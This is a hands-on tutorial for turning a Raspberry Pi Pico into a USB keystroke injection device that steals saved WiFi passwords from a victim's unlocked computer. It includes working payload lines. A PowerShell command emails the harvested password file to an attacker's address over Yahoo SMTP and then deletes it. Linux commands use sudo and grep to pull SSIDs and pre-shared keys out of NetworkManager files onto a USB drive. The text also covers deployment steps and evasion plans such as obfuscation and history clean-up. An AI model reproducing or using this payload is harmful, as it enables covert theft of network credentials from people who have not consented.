During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

Setup

After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

Prerequisites

  • Physical access to victim's computer.

  • Unlocked victim's computer.

  • Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

  • Knowledge of victim's computer password for the Linux exploit.

Requirements - What you'll need


  • Raspberry Pi Pico (RPi Pico)
  • Micro USB to USB Cable
  • Jumper Wire (optional)
  • pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
  • USB flash drive (for the exploit over physical medium only)


Note:

  • It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

  • However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

  • In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

Keystroke injection tool

Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

Keystroke injection

The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

Delays

We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

Exfiltration

Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

  • Exfiltration over the network medium.
    • This approach was used for the Windows exploit. The whole payload can be seen here.

  • Exfiltration over a physical medium.
    • This approach was used for the Linux exploit. The whole payload can be seen here.

Windows exploit

In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

Sending stolen data over email

Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587

Note:

  • After sending data over the email, the .txt file is deleted.

  • You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

  • Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

Linux exploit

In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

Storing stolen data to USB flash drive

Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt

STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt

In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

STRING echo PASSWORD | sudo -S echo

STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')"

Bash script

In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

where PASSWORD is your account's password and USBSTICK is the name for your USB device.

Quick overview of the payload

NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

For more information about NetworkManager here is some useful links:

Exfiltrated data formatting

Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

Wireless_Network_Name Password
--------------------- --------
WLAN1 pass1
WLAN2 pass2
WLAN3 pass3

USB Mass Storage Device Problem

One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

Tip:

  • Upload your payload to RPi Pico before you connect the pins.
  • Don't solder the pins because you will probably want to change/update the payload at some point.

Payload Writer

When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

python3 writer.py windows payload1.dd

Limitations/Drawbacks

  • This pico-ducky currently works only on Windows OS.

  • This attack requires physical access to an unlocked device in order to be successfully deployed.

  • The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

  • Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

  • Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

  • The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

  • Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

  • If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

  • If the computer has a non-English Environment set, this exploit won't be successful.

  • Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

To-Do List

  • Fix Caps Lock bug.
  • Fix non-English Environment bug.
  • Obfuscate the command prompt.
  • Implement exfiltration over a physical medium.
  • Create a payload for Linux.
  • Encode/Encrypt exfiltrated data before sending it over email.
  • Implement indicator of successfully completed exploit.
  • Implement command history clean-up for Linux exploit.
  • Enhance the Linux exploit in order to avoid usage of sudo.


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